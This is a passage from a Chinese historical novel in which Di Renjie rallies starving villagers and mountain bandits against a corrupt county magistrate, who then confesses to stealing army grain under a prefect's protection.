洪老道:“不但如此,他还要家家户户都将粮食也全都交上。他说是上交国库,为国家之用。如今莲花寨上的强人,多半是不愿交的,又惧怕官府,便上山落草去了。俺每也只想做个小老百姓,又不想跟官府作对,更不想去做强盗啊,也就只好上交了。可全都交上,咱还咋地活呀?俺每于是抱怨说,粮食全都交上了,那咱还吃吗子呀?知县笑着说:‘你们不是养牲畜种地吗?有的是粮食!到时候随便吃它几口就是了,算什么事儿!这可是朝廷的旨意!你们怨本官,莫非要造反?’没法儿啊,每户儿也都只好偷偷地留了些粮食藏了起来。还不能给官府发现,一发现就打,有的甚至当场就给打死喽。咱都把官府给恨透嘞。方才只有稀饭咸菜给你每,其实那是俺每最后的一点儿粮食了。这一顿儿过后,咱不久就都得饿死喽。嗐,今年收成也不好,村里人儿虽互相帮忙,可又能撑到几时呢?”说着又哭了起来。 狄仁杰听了,为民间疾苦深感痛心。只是如今身为通缉犯,无丝毫权力在手,又能如何呢? 小屋里寂静了片刻。 洪辉忽然喊道:“我操他妈的!官府既要绝了咱活路,那咱干脆反了!” 洪老跳起身来就一耳光打在他脸上,瞪大眼睛道:“你快住口!这话儿要是给官府听见了,可要害惨咱一村儿!” 洪辉嘴唇颤抖着朗声道:“男子汉大丈夫,一人做事一人当,绝不连累他人!大不了我洪辉死了也罢了,岂能受得这等欺辱!” 洪老道:“你个龟孙儿懂个吗子屁!你能干得过官府?” 洪辉道:“爹,我知道,你不就是怕了官府吗?” 洪老面红耳赤道:“俺……俺怕他娘的官府吗子屁!只是俗话儿说地:‘不怕官,只怕管。’能咋地嘛。” 洪辉道:“我冲进衙门里去剁了这狗官,大不了就是一死,怕甚!” 狄仁杰叹了口气。 洪辉道:“你叹什么气?” 狄仁杰道:“这等贪官污吏,除了一个,又有一个。这世上的恶人,是除不尽的。” 洪辉朗声道:“那又如何!只要我洪辉还活着,这些个狗官恶人,我除掉一个是一个!要我低头苟活,那还不如死了痛快,有什么意思!” 狄仁杰听了,好生钦佩这位青年,站起身道:“年轻人,你这一番话,令我自愧不如啊。我虽手无缚鸡之力,却也愿助你一臂之力。” 狄宁也站出来道:“也算我一个。” 洪辉向二人抱拳道:“我洪辉,多谢你们啦!” 只听得门外一个接着一个声音叫道:“再算我一个!” 洪辉热泪盈眶,只是点头,向众人抱拳。 洪老抬起头来,望着挤在门口的村里诸人,呆了呆,缓缓站了起身,半晌开口说道:“好……好!要干,就跟官府干到底!” 众人齐声叫好。 狄仁杰道:“村长,我想说句话,众位听听。” 洪老道:“你说。” 狄仁杰遂向众人朗声道:“诸位父老乡亲们,不论是官府还是朝廷,都是由人组成的。我们要与之抗衡的,其实并非官府,也不是朝廷,而是其中的恶人。如此,方名正言顺,你们说是不是?” 众人想了想,齐点头称是。 众人转向洪辉父子,道:“村长、阿辉,你每说吧,啥时候去干?” 洪辉与洪老道:“爹,咱现在就去吧。” 见洪老微微点头,洪辉遂道:“好!那大伙儿现在就去县衙门里讨公道去!”众人齐声叫好。 洪老在一片叫好声中呆了呆,忽然叫道:“不……不行!” 众人立时静了下来,眼目齐望向他。 洪辉也望着洪老道:“爹,你说什么?” 洪老叹了口气,道:“荒唐啊,俺也老糊涂咯,听你们瞎掰扯。咱老百姓不安分守己地过日子,没事儿倒跟官府对着干呢?什么呀!不行,不行!这事儿作罢!好了没事儿了,都散了吧!” 众人登时扫了兴,都苦着脸,却谁也没说话。 洪辉道:“爹!你这是什么话呀!怎么又不干了呢?” 洪老道:“你……你别说了哈!这事儿大伙儿都给烂肚子里去,谁也甭再提咯!要给官府听见了,这还了得哟!” 众人道:“村长,咱人多,未必就怕了官府嘞。” 洪老道:“不说了,不说了,不要再说了!不是怕不怕嘞,是……” 洪辉道:“爹,我看你就是怕了。” 洪老指着他怒道:“龟孙儿!俺白养了你!你怎地跟你爹说话儿呢?啊?爹不是怕!爹是担心事儿要是不成,村里人儿有个什么三长两短儿的……” 众人齐道:“俺每都不怕呢!就等你村长发话儿嘞!” 洪老哀求道:“唉呀,我求你们啦,你们别再逼我啦!” 洪辉摇头叹道:“爹,我不明白你为什么……” 洪老道:“俺都这把年纪了,什么事儿没经过?俺不他奶奶的恨官府?那又能怎地?活在世上,就有不公,谁都做不了主!许多事儿连老天爷都不管,咱生来没权没势的老百姓,又能怎地?我看大伙儿还是忍忍吧!做一天和尚撞一天钟,活一日是一日,别没事儿找事儿呢!” 众人中一个含着泪大声道:“村长!咱如今已经被逼的没有活路了,你还说什么混日子的话!你是村长,咱都敬重你,你又怎地这般?咱谁没事儿又想造反呢?你家是还有一些粮食,可你以为大伙儿都还有许多吗?咱是因为看你是村长,所以各家才都拿出一点儿来分给你!咱许多人家还有妇女孩子呢,都快饿死了都!你还叫大伙儿忍,要俺每怎么忍哪!” 众人喊道:“是啊!咱不能再忍啦!” 洪老叫道:“你每不懂!不造反,只死些个人儿。要造反了,就全都得死!俺虽不识得几个字,却也还知道这‘忍’字怎地写!我告儿你每:忍字头上一把刃,割在心头儿上,能不疼吗?那要怎地呢?我告儿你,还是得忍!做人不忍就做畜生!” 又一个道:“畜生被欺负了还会反抗呢,人难道连畜生也不如?” 见洪辉正要开口说话,洪老便连忙断喝骂道:“你给我闭嘴!你个屁娃子甭插口嘞!就是你个小匹夫出的馊主意,大伙儿才会被带歪!现在还张口放你娘的屁!” 洪辉怒叫:“我不许你骂我娘!” 洪老道:“你娘就是被你给气死的!成日不务正业,就好耍枪弄棒地……” 洪辉道:“习武怎么了?习武有什么不对?不会武功就会被人给欺负,就像你一样,都被人给骑在头上拉屎了你也还是不反抗!我看我娘就是被你给气死的!” 洪老大怒,指着他叫道:“你……!你竟敢指责你爹!白养了你!看俺不打死你个狗娃子!”就欲打洪辉,众人忙来劝。 狄仁杰在旁也劝道:“不急于一时,可从长计议。” 此时柳溪村众人也都各执己见,互相吵嚷了起来: “俺其实觉得村长说的也没错儿,咱还是别反了,不要多管闲事儿。” “你这他娘的叫闲事儿?难不成饿死了也不关你事儿!” “没错儿!必须得反!” “不!不能反!我家里还有仨孩儿呢,到时候败了,会连累家人!” “老夫行将就木,就老夫一人,没牵没挂的,我主张要反。你每不反是你每的事,也不连累你每。” “问题咱老百姓能干得过官府吗?” “老百姓是人,官府也是人,怎地就干不过嘞?” “大伙儿不如抄起家伙来,就往死里干吧!” “你说的倒轻巧,你有反过?” “该反了时候反,不该反了时候为吗反?” “我反!” “我不反!” “你爱反不反,反正我就反!” “反正我就不反,你爱反不反!” “到底反不反?” “不反!” “反!” “反!” “不反!” …… 狄仁杰听了,暗叹:“众人的心都不在一块儿,倘若当真起事了,或许局面只会变得更糟。我又能为他们做些什么呢?狄仁杰啊狄仁杰,你枉自为官了!可如今的我,虽心有余而又力不足了。” 正乱着,忽听得远方传来一片喧哗嘈杂声,好像是从进村的方向传来的。 洪老、洪辉、狄仁杰、狄宁与众人出外一看,只见漆黑之中,火把乱晃,一群人正朝着村子的方向行来。 众人明知是莲花寨的强人来了,于是都大惊失色。 洪老叫道:“哎呀!强人真来嘞!” 众人还来不及思索,只听得有人叫道:“官府的走狗们,爷们儿又回来啦!”伴随着一片大笑之声传来。 洪老连忙大叫:“大伙儿赶紧地抄家伙!” 一群人却早已进了柳溪村,其中一人大喝一声道:“都他娘的别乱动!”唬得村民们登时都不敢动了。 只见那伙儿强人有将及七八十人众,然除了不多几个肥壮高大的以外,其余尽皆是瘦瘦小小的。他们手中都握着大钢刀,小喽啰们举着火把在四周照明。 只见当先一人颧骨突出,皮肤黝黑,满脸胡茬,面色憔悴,跟其余人一般穿着褴褛,大刀顶在肩膀上,扫视了一番村民们,冷笑了一声,道:“王八崽子们,又去给狗娘养的官府通风报信去?” 村民们中一个胆大的指着他叫道:“柳青山!你别放你妈的屁!俺每也恨官府,报吗子信?” 强人们嚷道:“官府的走狗们,杀你们个片甲不留!” 村民们听了大怒,都壮起胆来指着土匪们大声骂道:“狗东西每!有种的跟官府横去,欺负咱老百姓算他娘的鸟好汉!” 强人们喝道:“官府那群狗杂种迟早会被爷们儿剁成肉泥酱的,如今先拿你们这群狗男女开刀!官府的走狗们,准备好受死了吗?” 洪老道:“柳青山哪,你原也是俺村里的人儿,咱柳溪村儿哪一点儿对不住你?村里人儿都待你不薄,你竟做了强盗,还来恩将仇报,实在是可耻!” 村民们也跟着齐声骂道:“柳青山!不要脸!忘恩负义!比之官府有过之而无不及!” 却说那带头的乃莲花寨寨主柳青山,他原也是这柳溪村的村民,本是一个孝子,在家奉养老母,家中还有一个小几岁的妹子。 柳青山这人极好面子,即使贫困之至,也不欲使他人知晓。 后来他母亲得病卧床,家里又才刚交完赋税,没钱给母亲治病,没有办法,只好放下脸面,到村里四处问那些邻舍们借些碎银子花。村里人自己尚不足,又哪有与他?遂各各推故。柳青山苦苦哀求,有些人则于讥讽之中给了些许,还说到时候要来讨成倍的利钱。 柳青山于是东奔西跑,四处求医,哪知那些庸医胡乱用药,母亲病得更重了,还用尽了剩余的家资,一贫如洗。 柳青山又问村长借些粮米,好说歹说,才给了他几勺。 从此一家三口一日只食一碗粥。 柳青山的妹子苦苦干活,得了痨病,咳嗽咳得肺都快炸了,整个人憔悴到仿佛一个骷髅,却依然殷勤服侍着病笃在床的家母。 不久仁德县又派人来收纳赋税,其他人家还勉强将九成赋税又交上了。衙役们于是来至柳青山家中,柳青山刚好当日清早出去买药未回。衙役们遂索要税银,柳青山的妹子却说连一分也拿不出来了,只求宽恕几日。衙役们哪里肯信,在屋子里四处乱搜了一番,果真是家徒四壁,唯灶底缸中还剩下一勺米粒。 衙役们指着问是什么,妹子答说是一家子最后的粮食了。衙役们竟突然忍不住哈哈大笑了起来,故意将那些米粒到处乱撒。妹子一见,登时便发疯了,连忙拥过去阻止,跟那些衙役们厮打,却哪里打得过。在床老母本就奄奄一息,见了这场面,大叫一声便气绝。妹子一见了,又哭又喊,疯也似的冲了过来抱尸痛哭,衙役们在旁却仍然不放,一定要那九成税银,否则便要抓她,说她谋反。 妹子悲愤到了极致,突然仰天尖声狂笑了起来,整个人绝望到不能更绝望了。闹得动静如此之大,村民们却并无一人来管,皆唬得不敢则声。明知柳青山家里出事了,却谁也不敢管,也不愿来管,以免惹祸上身。各人躲在屋子里,反倒暗喜,幸好这场灾难没有发生在自己身上。 哪知妹子早已活腻了,见母亲也死了,自己也没脸再见哥哥了,便狂叫一声,一头撞死在墙上。那些衙役们倒吃了一惊,见母女二人都死了,也觉得没趣,便都赶忙跑走了,一面又叮嘱村民们赶紧预备好粮食,不久还要来收,便携着这次拿到的税银一溜烟去了。 一时,柳青山提着一小包药回来,一见了这场面,那药便从手中掉了下来。村民们听见屋子里登时传来了绝望的哭叫声,震天动地,凄惨无比,连他们都有些难过了,许多都走来安慰他。柳青山明知是衙役逼勒之故,便指着村里众人大骂,问为何不出手相救。 村民们叹了口气,道:“各人自扫门前雪,莫管他人瓦上霜。” 柳青山从此与各村中经历相似之人一同落草。 却说这时村民们正与强人们互骂,柳青山忽然哈哈大笑了起来。 洪老叫道:“你还好意思笑嘞!做了强盗,你就不是个人儿了!” 柳青山指着洪老怒骂:“姓洪的!你们他娘的比强盗好到哪儿去啊?我只一看到你们狗崽子的屁样儿,连官府那群王八蛋都他妈的恨不起来了!我要把你们王八狗杂种活活剁他妈了个稀巴烂!” 他又望着村里人笑道:“好一群正人君子啊!官府来了时候,敢不敢也抄一抄家伙呀!我家里出事儿那会儿,你们都躲在被窝儿里笑呢吧?啊?” 村民们道:“柳青山,你不要以小人之心度君子之腹,咱有那么不堪吗?” 洪老与村民们道:“乡亲们,咱是君子,不跟小人儿多费口舌。” 村民们点头道:“是。” 忽然一个声音道:“爹、乡亲们,柳叔虽不该落草,却也是被官府那群畜生逼的。当时他家里出事儿那会儿,我正好在外未回。如果我在村里,一定出手!你们明明在,却没有拔刀相助,确是不该。” 众人见说话的竟是洪辉。 洪老登时大怒了起来,喝骂:“你个狗崽子!俺白养了你!养了个白眼狼,反过来咬你爹呢!没良心啊!” 柳青山听了,笑道:“好啊!姓洪的这么个狗玩意儿,竟养出了这般英雄少年!小辉啊,我当时就看你有出息呢,你要不也跟咱一起……” 洪辉朗声道:“柳叔,小侄也只是实话实说,讲论是非对错而已。你有不该之处,乡亲们也有,我并不能昧着良心偏袒哪一方。我爹也有不该,我却不许你辱骂我爹。至于要我跟你们一块儿落草,这更是万万不能够的!我堂堂男儿,岂能自辱门楣!” 莲花寨的强人们一听,都称赞洪辉是条汉子。 柳溪村诸人却是大怒。 洪老更是气得几乎昏了过去,一把抢过棍来,往洪辉身上下死劲狠打,一面怒骂:“狗娘养的畜生!狗杂种!” 洪辉一转身闪开,指着洪老的鼻子怒叫:“你再敢骂我娘一下试试!” 村民们齐骂洪辉道:“阿辉!你过分了哈!你是个孩儿,怎地骂你爹呢?” 洪辉道:“就算是我爹,若是有错,那也应当指责!” 洪老大叫一声:“孽子!”便昏倒在地。 狄仁杰在旁,见了这许多突发变故,劝也不知如何劝。 洪辉忙蹲下来叫道:“爹!爹!你怎么啦!” 村民们指着他怒道:“还不是你个不孝儿孙!把亲爹都给活活气死啦!” 洪老咳了几声,哭道:“俺没这孽子!白养啦!哎呀!” 柳青山道:“你们一群王八崽子,给了官府不少粮食吧?” 村民们大叫:“给不给关你妈的屁事!横竖不给你每!” 柳青山冷笑一声,道:“这么一袋袋布装的粮食,你们收成就真有那么好吗?旁的几个村儿就更甭提了!”一面用手比划着。 狄仁杰惊道:“你……你说什么?这样布袋装的粮食?” 柳青山还当狄仁杰也是个村民,便冷笑道:“难道不是你们给的?上回与兄弟们都亲眼瞧见了,一堆官兵提着装满大米的布袋走过山下,布袋上面还有血迹呢。哼哼,定是遭受了不少毒打吧你们?忍不住了,不得已还是给交了,对吧?哈哈!活该!活该啊你们!饿死你们一群小王八崽子!”强人们跟着齐声大笑。 村民们骂道:“去你奶奶的!咱要有这许多粮食,官府连你妈的个屁也休想碰一下!” 柳青山道:“一群虚伪的狗杂种,你们装得不累吗?” 村民们喝骂:“装你妈的个屁装!装你每进布袋,丢进海里去喂鱼!” 双方骂到几乎就要打起来。 狄仁杰想道:“提着装满大米的布袋,途经此山,上面还有血迹,村民们还说不是他们的……那……那不就是朝廷的军粮嘛。不对啊,上面既有血迹,说明运粮队已经被杀害了,怎么提着军粮的竟是官兵呢?莫非是杀手装扮的?不然朝廷的官兵怎么会去劫军粮呢?不可能啊……” 村民们冷笑道:“你每见了粮食,咋地没种去劫呢?一群乌龟王八羔子,怕官府嘞!哈哈!” 柳青山骂道:“劫你们的狗娘!你们全家都死绝了!” 村民们哈哈笑道:“咱狗娘都还活着呢,家人也都还在呢,好像就你的狗娘死了呢!哈哈!还有你妹子呢,也死了,哈哈!你狗娘养的柳青山家俩娘们儿都死了,哈哈!你全家真死绝了呢!哈哈哈!” 柳青山还未听完,便狂叫一声,昏倒在地。 洪辉听了村民们的话大怒,指着他们喝道:“你们还幸灾乐祸,往别人伤口上撒盐,良心是不是被狗给吃了!我洪辉竟是跟你们这一群没良心的人生活在一起了这么久,真是奇耻大辱!” 村民们登时恼羞成怒,喝骂:“洪辉!你个不要脸的狗娃子!胳膊肘往外拐呢?好啊,那你就去认柳青山那伙儿直娘贼做爹去吧!俺每都不认你是柳溪村的人,只把你当作是一条野狗就是了!” 洪辉道:“我说的是公道话,各人怎样自己负责。” 村民们怒叫:“都能把亲爹给活活气死的人也配活在这世上!狗娃子死一边儿去呢!” 柳青山一时醒了,怒气冲天,狂叫:“兄弟们!跟狗杂种们拼了!” 洪老一听要厮杀,唬得连忙大叫:“不,不要!不要动手!咱的仇家是官府!” 柳青山怒极反笑,指着道:“你们又比官府好到哪儿去啊?我全家都被你们给害死了,我恨你们恨到想生吃你们的狗肉,你们知道吗!不杀光你们难解我心头之恨!” 村民们道:“你家人是被官府害死的,关咱屁事儿?” 狄仁杰道:“柳寨主,我想问你一个问题。你说你看到了提着布袋的官兵,他们去了何处啊?” 柳青山哼了一声,道:“这还用说,当然是朝着仁德县的方向去了,送到衙门里去了。一群狗崽子献上的狗粮还能送到哪儿啊?官府的走狗们,给官府送粮食,然后官府再来他个‘走狗烹’!哈哈哈!” 洪老叫道:“你别瞎说!俺每也不想给官府粮食呢,是官府硬抢的,咱没有办法!” 狄仁杰暗叹:“官府竟抢夺老百姓的粮食,又与强盗何异?” 此时火光之中,叫骂声愈来愈激烈。 强人们怒叫:“妈了个巴子的!大哥,咱何必跟他们多废话,直接动手就是!” 村民们大叫:“来呀,来呀!狗玩意儿每动手啊!” 柳青山喝道:“杀你们狗命,易如反掌!我最后他妈的给你们一次机会,你们王八崽子赶紧地把一村儿的粮食全都给我交出来,我就饶了你们狗命!” 村民们大叫:“做你娘的春梦!俺每如今没粮食咯!就算有,也不给你每!俺每老百姓,可以给官府粮食,可就是不给强盗!” 柳青山挥起刀来,大叫:“好!那啥子都甭说了,干!” 村民们也已各自抢过器械来,准备与强人们厮杀。 就在这千钧一发之际,狄仁杰想道:“如果真的是朝廷的军粮,那必须得查个清楚。只是就我与狄宁二人,势单力薄,终究寡不敌众。如今双方若打将起来,必定两败俱伤,反使歹人坐收了渔利。不如从中调停,凭双方之力,借机到仁德县一闹,来他个敲山震虎。”又想:“只是如此行来,人必谓我勾结盗匪、领民犯上,从此罪名更加一等。却也顾不得这许多了。置之死地而后生,或许还能有所转机。” 他于是连忙朗声道:“诸位且慢!不要动手!你们先停下来好好想一想,不论是村里人,还是山上落草之人,原本都是安分的百姓,都是良民。你们又怎么会走到了今天这一步?” 强人们与村民们不假思索,齐声叫道:“还不是被官府给害的!” 狄仁杰点头道:“嗯,既然如此,你们若互相残杀,谁又从中获利?” 他们齐道:“还是官府!” 狄仁杰道:“不错,这是他们在挑拨离间,他们好坐山观虎斗。万万不可中了他们的奸计!” 他们齐道:“是啊!我们都中了官府的奸计了!” 狄仁杰道:“他们真正怕的,是你们联合起来找他们麻烦,所以才让你们起内讧。” 他们齐道:“有道理!那我们就联合起来跟官府去干!” 狄仁杰道:“好!柳寨主、洪村长,双方化干戈为玉帛,就此罢手。我们众人一起到仁德县,为各自去讨回公道!” 这话一出,众人叫好声连天。 柳青山和强人们,洪辉父子和村民们,都互相看了看,又一齐望向狄仁杰道:“老先生,我们跟着你去!” 洪辉好生佩服狄仁杰,几句话便逆转了死局,于是忙问道:“还未请教,老先生高姓?” 狄仁杰望着他微笑道:“不敢,鄙人姓狄。” 他说一声:“走!” 便领着二百余人,浩浩荡荡向仁德县进发。 这仁德县距柳溪村有十几里路,四围皆是荒山。虽是山高皇帝远,却仍属秦州地界的管辖范围。这县乃一小去处,人在县头一眼便能望见县尾。其中居民也并不甚多,共总不逾百人,除知县及其家属以外,多是富户有钱人家,还有做着买卖的商人。亦有少许曾是邻近村庄的农民,就柳溪村的也有几个,皆是后来发了家,略有了些财帛,便搬来县里安身的。 此时狄仁杰引着众人一同前往仁德县,叫众人先都安静下来,以免打草惊蛇。 杂乱的火光将黑夜照得如同白昼一般。 众人的紧张、惊惧、激动、愤恨、狂喜还有一丝迷茫,尽从眼神之中流露了出来。 就连狄仁杰此刻亦无甚把握。心想自己本是当朝宰相,一个奉旨出来查案,还被赐予了便宜行事之权的堂堂钦差大臣,如今却成为了四海皆无容身之地的逃犯,而现在又领着一群农民还有土匪到县里来闹事…… 诸人从山坡上望去,仁德县就在面前了。 街道上空无一人。 洪老忽然道:“俺看还是算了吧!咱是老百姓,不能造反啊!” 这一句话打破了寂静,众人登时又沸腾了起来。 洪辉道:“爹,你啥意思嘛,你咋又变卦啦!” 柳青山哼哼冷笑道:“应了俗话儿说的:‘易涨易退山溪水,易反易复小人心’!” 村民们怒道:“你骂谁是小人呢?” 强人们叫道:“狗崽子们心知肚明!” 村民们叫道:“王八蛋!咱是君子,你每才是小人!小人才做贼!” 强人们道:“你们装啥装啊?一群披着羊皮的狼!” 村民们道:“你每是一群披着狼皮的羊!” 强人们道:“咱可没要算了,是你们村长先说的!” 村民们齐望向洪老道:“村长!你待怎地?” 洪老道:“唉呀甭提了,好好回村儿里过日子得嘞!” 洪辉道:“明儿咱都要饿死了,还过个什么日子!” 狄仁杰道:“村长啊,我们只是去讨回公道,要他们允许减轻你们的赋税,再将粮食归还,并非造反。” 洪老摇头道:“不,不,不……官府怎会好好地跟咱讲理呢?除非让他每怕了咱……” 洪辉道:“就是要官府怕了咱!” 洪老道:“龟儿子,你给我闭嘴!官府要都怕了咱,那咱还不是造反了?” 洪辉道:“爹,我们就是来造反的!” 洪老道:“唉呀,不能反。” 洪辉道:“反就反了,怕个甚鸟?这叫官逼民反,民不得不反!” 洪老道:“唉哟,这反了一时痛快,可这村里人儿就得死光光喽。” 村民们道:“咱不怕嘞。” 洪老道:“你每不怕俺怕!” 村民们道:“村长,你怕你就甭去嘞,俺每去。” 洪老道:“唉呀,你每要是反了,俺不是要被你每给连累啊?” 洪辉道:“爹,你好自私啊。” 洪老道:“王八羔子,你敢骂你爹呢,养来干吗地呀。俺都是为了村里人儿呢。” 柳青山冷笑道:“姓洪的狗玩意儿,你也配做村长?” 村民们怒道:“柳青山!你敢骂俺每村长!俺每村长哪里不配了?村长是大英雄,不像你每是土匪!” 强人们道:“上梁不正下梁歪。” 村民们道:“说的不是你每?” 强人们道:“打呀狗崽子们!” 村民们道:“打就打!跟你每拼命嘞!” 双方又要打起来。 柳青山叫道:“兄弟们!一群胆小鬼,不用理他们!咱这就冲进县里去,杀了狗杂种!” 村民们道:“你每有种的就去啊!咱看热闹,看你每都死光光!” 强人们叫道:“先杀了狗官府,再回来杀走狗!” 狄仁杰想道:“不好,如果土匪们先闹事,就一发不可收拾了。这番若再不行动可要坏事。罢了,一不做二不休。” 他随即朗声道:“诸位不必多说了!” 众人齐望向狄仁杰,听他要说些什么,又是一片寂静。 狄仁杰看了看众人,便大声道:“我们如今已经无路可退了!我们要去讨回公道!冲啊!” 狄宁也跟着喊:“大伙儿冲啊!” 洪辉也接着喊:“冲啊!” 村民们一个接着一个也陆陆续续地喊道:“冲啊!” 就连洪老也突然举起双手来,大喊:“今儿夜里俺这把老骨头就给豁出去嘞!乡亲们,咱每冲啊!” 柳青山道:“姓洪的老东西,还像了回玩意儿!”也叫:“兄弟们!咱报仇的时候到啦,冲啊!” 强人们也是“冲啊”的乱叫。 狄仁杰见众人此刻方是一条心了,便立时挥了挥手,叫声:“走!” 二百余人登时发出一声吼来,都跟着狄仁杰一齐冲下了山坡,飞奔至仁德县,只见街道上一片漆黑。他们都来到了知县府的大门前,将那大门猛地一撞开,都一拥而入,穿过前院,进了正堂,只见里面黑咕隆咚,不见一个人影。 众人正狐疑间,忽听得有丝管之声传来。 狄仁杰道:“跟我来!” 众人随着狄仁杰来到了后花园,乐声传来之处。只见池塘中央亭子上圆桌旁围坐着好些人。其中一个胖男子搂着粉头,狎亵之态毕露。在旁还坐着几个男女吃喝谈笑,歌妓在栏杆边儿上拿着琵琶唱曲儿。桌上满是琼浆玉液,又有肉食果品、山珍海味等丰盛肴馔。村民们看得馋涎欲滴。

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那知县一面后退,一面摇着头笑道:“你……你不敢……你不敢……我知道你不敢!” 狄仁杰喝道:“我敢!” 那知县顿时就要逃跑。狄宁一见,早飞奔至亭上,将那胖知县一脚踢翻在地。众人见了,都大喝一声,冲过来将知县还有另外几人猪也似的捆了。粉头歌妓们一见情形不妙,早都一溜烟跑了。 众人此时也不动手,只是望着狄仁杰,看他要怎么样。 洪老道:“你……老先生,你到底是……是老百姓呢,还是官府,还是……” 狄仁杰微笑道:“我跟你们一样,都是大周的子民。” 柳青山道:“我不管你是谁,反正敢跟狗娘养的官府对着干的就是他妈好汉!” 狄仁杰向众人朗声道:“乡亲们!我狄仁杰定要还你们一个公道!请诸位将这几人都带到公堂上来!” 村民们本就不敢杀害朝廷命官,这会儿见狄仁杰自愿做那出头鸟,又有何人不愿?于是都将知县几人一齐带到了县衙门公堂,都围在四周观看。 狄仁杰坐在平日知县坐的那个位置上,头顶上匾额写着“大公无私”四个大字。 那知县还不肯跪,一脸不屑地叫嚣道:“我是朝廷命官,岂能跪逆犯!” 洪辉早一脚踹来,那知县还是不由得跪了。 知县骂道:“老百姓敢踢朝廷……” 狄宁叫了声:“都来打人吧!” 众人虽然都恨得牙齿痒痒,却都还是不敢动手。 洪辉道:“狗官!我先来揍你一顿!”说着对知县拳打脚踢。 众人里胆大的也来乱打,将旁边那几人也是一顿狠揍。 狄宁又叫声:“且住!”众人方止。 打得他们鼻青脸肿,连声讨饶。 知县低了头道:“反了……反了……” 狄仁杰拍案喝道:“你给我住口!你个猪狗不如的东西,不反你反谁!我问你,谁许你假传朝廷旨意,要百姓上交九成赋税的?说!” 知县道:“这……没这回事儿……” 狄仁杰怒道:“还狡辩!再打!” 旁边几人忙叫:“别打啦!哎呀!我们几个只是县里的官吏,只能听他的呀!都是他要这样的,我们也没办法啊!”望着知县道:“谭知县,你就招了吧!” 狄仁杰道:“你姓谭?” 谭知县“嗯”了一声,叹了口气,摇头道:“罢啦,罢啦,事已至此,我也无法啦!你狄仁杰赢啦。” 狄仁杰喝道:“还不从实招来!” 谭知县道:“不错,上交九成赋税,是我下的命令。” 狄仁杰道:“还有叫百姓上交粮食呢?” 谭知县笑道:“不错,也是我!” 狄仁杰怒道:“而且还是全部粮食一概交上!” 谭知县哈哈大笑道:“不错,不错!是我,是我!” 狄仁杰怒不可遏,厉声骂道:“你这个禽兽不如的东西!如此贪得无厌,搜刮民脂民膏,只为了供你吃喝玩乐、骄奢淫逸,却使得百姓处于饥寒交迫之中!似你这等视人命如同草芥的畜生,还有什么脸面活在世上!如今你不但毫无悔改之心,亦无愧疚之意。我若不将你千刀万剐、五马分尸,只恐天下从此再无公道可言!” 谭知县瞪眼望着狄仁杰叫道:“狄仁杰!你以为凭借你一人之力便能改变天下?!我告诉你,在这世上自古以来便没有公道,今后也不会有!我就是一个贪官污吏,你杀了我吧!你今天杀了我,明天还会有无数个跟我一样的,你是杀不尽的!这个污浊的世道,你永远也改变不了!”说着仰天狂笑。 狄仁杰站起身来,朗声道:“凭我狄仁杰的微薄之力自然改变不了什么,可我依然要尽我所能!只要这世上还有一丝不公,那么像我狄仁杰这样的人,也还会有无数个挺身而出的!” 洪辉赞道:“好!这样的人,算我洪辉一个!” 柳溪村诸人以洪老为首,这时忽然都一齐跪下了。 狄仁杰忙过来扶起道:“老人家,你们这是做什么!” 洪老哭道:“俺是懦弱无能啊,不配做村长呢!若不是老先生你今儿领着大伙儿来,恐怕俺每永无出头之日呢!” 狄仁杰忙叫快起,众人方才慢慢地起来了。 狄仁杰这时缓缓踱步,突然望着谭知县他们大声喝问:“朝廷军粮何在?” 话未了,只见谭知县及官吏等人竟皆大惊失色,齐道:“你怎么知道的!” 狄仁杰一听这话,又见了他们的神情,不觉叹了口气,道:“你们不用管我是如何得知,这到底是怎么一回事?” 谭知县道:“你既然都知道了,那又何必多问。” 狄仁杰道:“这么说,朝廷军粮是被你劫走的?” 谭知县道:“是我劫走的。” 狄仁杰道:“我知道你有参与其中,但你并非主谋。” 谭知县道:“是我谭某派人去劫的军粮,我都承认了,你还想怎样?” 狄仁杰摇头道:“不,你不敢。” 谭知县冷笑道:“你又怎知我不敢?我已经做了!” 狄仁杰道:“背后若无人给你撑腰,你个小小的知县再贪,也不会有胆量敢去劫朝廷的军粮。” 谭知县道:“我上面是有人。你想知道吗?” 狄仁杰道:“你若愿意说,或许将功折罪,可以对你网开一面。” 谭知县苦笑道:“走到了这一步,我又能如何呢?我并不奢求活命,只希望你能够放过我老婆孩子,他们是无辜的。” 狄仁杰道:“好,我答应你。” 谭知县道:“我上面这个人……你狄仁杰探案如神,难道真的猜不出来吗?” 狄仁杰看着他。 谭知县道:“我这仁德县虽然偏僻,却仍在秦州的管辖范围内。” 狄仁杰道:“你什么意思?” 谭知县道:“你知道了此人又能怎样?此人的背后一定还有人,你还敢追查上去吗?” 狄仁杰道:“你是说秦州刺史……” 谭知县道:“没错!前段时间已故的远刺史,他也有参与其中!” 只听得轰隆隆一声雷响,外面下起雨来。 狄仁杰也如晴天霹雳一般,心乱如麻,想道:“怎么会是他!” 谭知县道:“至于原因很简单:如今乃战时,粮食稀缺,转卖军粮收获的银子较常为倍,谁又不想分一杯羹?” 狄仁杰不觉长叹一声。 谭知县道:“你知道了,还要继续追查吗?” 狄仁杰道:“我不但要查,而且还要查到底!” 谭知县道:“我知道的就这么多了。希望你信守诺言,不要伤害我老婆孩子。” 忽听得外头有人声叫嚷。 于是都出来一看,只见大街上,强人们正围着一人叫道:“大哥!大哥!” 那人躺在雨水中,眼睛睁得大大的,面上有喜有悲,已然气绝。 原来适才众人在公堂之时,柳青山便悄悄地引着一伙儿强人回到了知县府,说道:“兄弟们,给我搜!这些个狗衙役既不在衙门里,那一定是躲在府里某处儿呢。” 不一时强人们来回说:“大哥,十来个衙役都躲在后堂呢,里边儿还有个娘们儿,和一个四岁的小妞儿。”遂齐至后堂。 屋内点着灯,有一尊佛像。 一个妇人抱着一个小女孩躲在墙角,母女俩都吓得浑身发抖。 强人们早将衙役们用绳子捆了,指着道:“大哥!这些个狗崽子是你的仇人,咱剁了他们!” 柳青山转过头来瞧着衙役们,哼哼笑了起来。 衙役们唬得哀求道:“爷爷饶命啊!我们从来没做过什么亏心事啊!要钱衙门里多得是,你们拿去,别杀我们呀!” 柳青山随便抓了一个来,直问到他脸上:“前段时间是你们几个到柳溪村收的税银?” 衙役颤抖着说:“是……是我们几个。我们只是奉命……” 柳青山笑道:“奉命害了我老娘和我妹子?” 衙役们“啊”的一声惊呼,叫道:“你……你是那家的人!我们还以为那家就那俩娘们儿,没活口了,怎么你……哎呀!爷爷饶命啊!我们错啦!” 柳青山哈哈大笑道:“你们作恶时有没有想到会有今日啊?!杀了他们!” 